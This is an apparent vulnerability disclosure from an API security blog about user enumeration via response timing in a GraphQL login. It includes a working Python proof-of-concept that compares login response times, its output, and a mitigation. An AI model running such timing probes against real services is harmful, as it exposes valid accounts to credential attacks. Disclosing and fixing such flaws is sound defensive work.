Site icon API Security Blog

User Enumeration via Response Timing

# Description

There is a significant timing difference in the login functionality for valid and invalid usernames.

# Proof of Concept
Steps to reproduce:
“`
1. Attempt a Login with a valid user and an invalid user and observe the difference in the response time
“`

Here is a small test script (alternatively we can see the response time in Burp Repeater)
“`
import requests

url = “https://127.0.0.1:8000/graphql”

valid_user = [{“operationName”:None,”variables”:{“username”:”admin@test.com”,”password”:”abcd”,”strategy”:”local”},”extensions”:{},”query”:”mutation ($username: String!, $password: String!, $strategy: String!) {n authentication {n login(username: $username, password: $password, strategy: $strategy) {n responseResult {n succeededn errorCoden slugn messagen __typenamen }n jwtn mustChangePwdn mustProvideTFAn mustSetupTFAn continuationTokenn redirectn tfaQRImagen __typenamen }n __typenamen }n}n”}]

invalid_user = [{“operationName”:None,”variables”:{“username”:”doesnotexist@test.com”,”password”:”abcd”,”strategy”:”local”},”extensions”:{},”query”:”mutation ($username: String!, $password: String!, $strategy: String!) {n authentication {n login(username: $username, password: $password, strategy: $strategy) {n responseResult {n succeededn errorCoden slugn messagen __typenamen }n jwtn mustChangePwdn mustProvideTFAn mustSetupTFAn continuationTokenn redirectn tfaQRImagen __typenamen }n __typenamen }n}n”}]

for _ in range(3):
r = requests.post(url, json=valid_user, allow_redirects=False)
print(r.elapsed.total_seconds())

print(‘—‘)

for _ in range(3):
r = requests.post(url, json=invalid_user, allow_redirects=False)
print(r.elapsed.total_seconds())
“`

Test results:
“`
$python3 timing.py
0.276643
0.254176
0.251778

0.005052
0.004219
0.005233
“`

We can see that there is a difference in response time of about 200ms. To account for inconsistencies in network traffic, the timing can be averaged over more than three requests to detect valid users reliably

### Mitigation
This issue exists because a computationally expensive hash function is only executed when the username is valid. If the username is invalid, the hash function is not executed, resulting in the difference in response timing. In order to mitigate this, the hash function should be executed with a dummy input when the username does not exist.Read More

Exit mobile version